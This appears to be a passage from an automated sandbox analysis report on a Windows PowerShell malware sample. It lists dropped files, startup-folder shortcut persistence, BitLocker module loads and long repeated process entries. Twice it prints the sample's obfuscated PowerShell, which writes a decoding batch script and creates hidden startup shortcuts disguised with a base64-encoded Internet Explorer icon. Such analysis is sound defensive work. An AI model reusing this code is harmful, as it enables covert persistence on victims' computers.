Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_kjfech8_V\WebView2Loader.txt	Jump to dropped file

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.exe del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.cmd ${/_//_//_/} = "${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\${_\\\\\\/\|\\\\\\\\\\\\\\\\\_}${GER}.${_/\|\_/\|////\__\|/_\|\\_}" ${\\\\__/////////} = "@Echo off`r`n"${\\\\__/////////} += "Setlocal EnableExtensions`r`n" ${\\\\__/////////} += "Setlocal EnableDelayedExpansion`r`n" ${\\\\__/////////} += "cd %SystemRoot%\System32`r`n" ${\\\\__/////////} += "Set /P ${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=<`"${//////////____zz//}${GER}`"`r`n"${\\\\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"${\\\\__/////////} += "for /L %%N in (10 1 36) do (`r`n"${\\\\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:%%N=%%C!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:@=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:`"=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "%${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}%`r`n" ${\\\\__/////////} \| Set-Content ${/_//_//_/}function _____/\_/\/\_/\/=\\\\\\\\\\/////{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.ai" ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\" ${/=\/\__/=\/=\/=\_}.WindowStyle = 7 ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/\__/=\/=\/=\_}.Save() }finally{}}function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Argume
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.exe del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.cmd ${/_//_//_/} = "${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\${_\\\\\\/\|\\\\\\\\\\\\\\\\\_}${GER}.${_/\|\_/\|////\__\|/_\|\\_}" ${\\\\__/////////} = "@Echo off`r`n"${\\\\__/////////} += "Setlocal EnableExtensions`r`n" ${\\\\__/////////} += "Setlocal EnableDelayedExpansion`r`n" ${\\\\__/////////} += "cd %SystemRoot%\System32`r`n" ${\\\\__/////////} += "Set /P ${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=<`"${//////////____zz//}${GER}`"`r`n"${\\\\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"${\\\\__/////////} += "for /L %%N in (10 1 36) do (`r`n"${\\\\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:%%N=%%C!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:@=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:`"=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "%${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}%`r`n" ${\\\\__/////////} \| Set-Content ${/_//_//_/}function _____/\_/\/\_/\/=\\\\\\\\\\/////{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.ai" ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\" ${/=\/\__/=\/=\/=\_}.WindowStyle = 7 ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/\__/=\/=\/=\_}.Save() }finally{}}function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Argume

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_V.lnk

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_V.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VEX.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAT.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_VAA.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_kjfech8_Vy.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDCA277 GetModuleHandleW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetLastError,??0scheduler_resource_allocation_error@Concurrency@@QAE@J@Z,_CxxThrowException,GetModuleHandleW,GetProcAddress,GetLastError,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,

9_2_6FDCA277

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
